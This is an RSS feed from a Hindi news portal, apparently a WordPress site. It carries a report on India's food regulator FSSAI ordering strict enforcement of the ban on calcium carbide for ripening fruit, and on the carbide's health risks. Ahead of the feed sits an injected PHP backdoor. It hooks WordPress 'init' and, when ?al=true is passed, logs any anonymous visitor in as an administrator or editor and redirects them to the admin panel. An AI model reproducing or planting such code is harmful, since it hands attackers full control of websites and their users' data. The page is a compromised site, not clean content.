// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Highest risk – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 19 May 2024 20:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 फल पकाने वाले कैल्शियम कार्बाइड के इस्तेमाल पर रोक, चक्कर आना सहित अल्सर का सबसे ज्यादा खतरा https://pratyushaashakinayikiran.com/?p=32341 Sun, 19 May 2024 20:45:00 +0000 https://pratyushaashakinayikiran.com/?p=32341 नई दिल्ली.

भारतीय खाद्य सुरक्षा और मानक प्राधिकरण (एफएसएसएआई) ने फल और खाद्य व्यापारियों से फल पकाने के लिए ‘कैल्शियम कार्बाइड’ का इस्तेमाल नहीं करने को कहा है। खाद्य नियामक ने शनिवार को कहा कि उसने कृत्रिम रूप से फल पकाने के लिए इस्तेमाल की जाने वाली कैल्शियम कार्बाइड की रोक पर सख्ती से अनुपालन सुनिश्चित करने का आदेश जारी किया है।

एफएसएसएआई ने राज्यों व केंद्रशासित प्रदेशों के खाद्य सुरक्षा विभागों को सतर्क रहने और एफएसएस अधिनियम (2006) के प्रावधानों के तहत गैरकानूनी गतिविधियों में शामिल व्यक्तियों के खिलाफ सख्त कार्रवाई करने की सलाह दी है। कैल्शियम कार्बाइड आमतौर पर आम को पकाने के लिए उपयोग किया जाता है। यह एसिटिलीन गैस छोड़ता है, जिसमें आर्सेनिक और फास्फोरस के हानिकारक अंश होते हैं। एफएसएसएआई ने कहा, इन्हें ‘मसाला’ के नाम से भी जाना जाता है। इससे चक्कर आना, बार-बार प्यास लगना, जलन, कमजोरी, निगलने में कठिनाई, उल्टी और त्वचा के अल्सर आदि जैसी गंभीर स्वास्थ्य समस्याएं पैदा कर सकते हैं।

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